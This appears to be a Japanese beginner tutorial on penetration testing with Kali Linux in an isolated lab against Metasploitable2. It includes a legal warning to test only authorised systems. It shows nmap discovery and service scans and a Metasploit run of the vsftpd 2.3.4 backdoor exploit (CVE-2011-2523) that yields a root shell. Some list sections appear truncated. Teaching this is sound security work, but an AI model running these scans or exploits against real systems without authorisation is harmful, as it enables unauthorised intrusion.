ペネトレーションテスト(侵入テスト)とは、システムやネットワークに対して擬似的な攻撃を行い、セキュリティ上の脆弱性を発見する手法です。脆弱性診断が既知の脆弱性をスキャンで検出するのに対し、ペネトレーションテストは実際に攻撃者の視点で侵入を試み、脆弱性がどの程度悪用可能かまで検証します。
企業のセキュリティ対策において、ペネトレーションテストは不可欠な要素です。しかし、専門的な知識が必要なため、何から始めればよいか分からないエンジニアも多いでしょう。本記事では、Kali Linuxを使った基本的な脆弱性診断の手順を解説します。
重要な注意事項:ペネトレーションテストは、必ず許可を得た環境に対してのみ実施してください。許可なく他者のシステムに対してテストを行うことは、不正アクセス禁止法に抵触する違法行為です。本記事の内容は学習目的であり、自身が管理する環境またはCTF(Capture The Flag)などの合法的な環境で実践してください。
Kali Linuxはペネトレーションテスト用に特化したLinuxディストリビューションで、600以上のセキュリティツールがプリインストールされています。VirtualBoxやVMwareで仮想マシンとして導入するのが安全で手軽です。
# VirtualBoxでのインストール後、まずシステムを最新化
sudo apt update && sudo apt upgrade -y
# テスト用の脆弱な仮想マシン(Metasploitable2)をダウンロード
# ※別途VirtualBoxにインポートして使用
# https://sourceforge.net/projects/metasploitable/
# ネットワーク設定:両方のVMを「ホストオンリーアダプター」に設定
# これにより外部ネットワークへの影響を防ぐ
学習環境としては、Kali Linux(攻撃側)とMetasploitable2(標的側)を同一のホストオンリーネットワーク上に配置する構成が定番です。
最初のステップは、ターゲットに関する情報を収集することです。パッシブ偵察(直接アクセスしない情報収集)とアクティブ偵察(直接スキャンする情報収集)があります。
# ネットワーク上のホストを発見(アクティブ偵察)
nmap -sn 192.168.56.0/24
# 結果例:
# Nmap scan report for 192.168.56.101
# Host is up (0.00045s latency).
ターゲットが特定できたら、開いているポートやサービスを詳細にスキャンします。
# ポートスキャンとサービス検出
nmap -sV -sC -O 192.168.56.101
# 結果例(一部):
# PORT STATE SERVICE VERSION
# 21/tcp open ftp vsftpd 2.3.4
# 22/tcp open ssh OpenSSH 4.7p1
# 80/tcp open http Apache httpd 2.2.8
# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X
# 3306/tcp open mysql MySQL 5.0.51a
この結果から、各サービスのバージョン情報が分かります。古いバージョンのソフトウェアには既知の脆弱性が存在することが多く、次のフェーズでその脆弱性を特定します。
スキャン結果をもとに、既知の脆弱性を調査します。上記の例では、vsftpd 2.3.4にはバックドアの脆弱性(CVE-2011-2523)が存在することが知られています。
# Metasploit Frameworkでの脆弱性検索
msfconsole
msf6 > search vsftpd
# 結果:
# exploit/unix/ftp/vsftpd_234_backdoor
発見した脆弱性を実際に悪用して、システムへの侵入を試みます。これがペネトレーションテストの核心部分です。
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
# [*] Command shell session 1 opened
# シェルが取得できた場合
whoami
# root
このように、脆弱なバージョンのサービスが公開されていると、攻撃者にroot権限を奪取されてしまう可能性があります。
テスト結果を報告書にまとめることは、テスト実施と同等に重要です。報告書には以下を含めます。
Kali Linuxには多数のツールが含まれていますが、まず覚えるべき主要ツールを紹介します。
ペネトレーションテストのスキルを習得するには、継続的な学習と実践が不可欠です。以下のステップで進めることを推奨します。
セキュリティは攻撃手法を知ることで初めて効果的な防御が可能になります。自身が管理するシステムを守るためにも、攻撃者の視点を理解することは非常に価値のある投資です。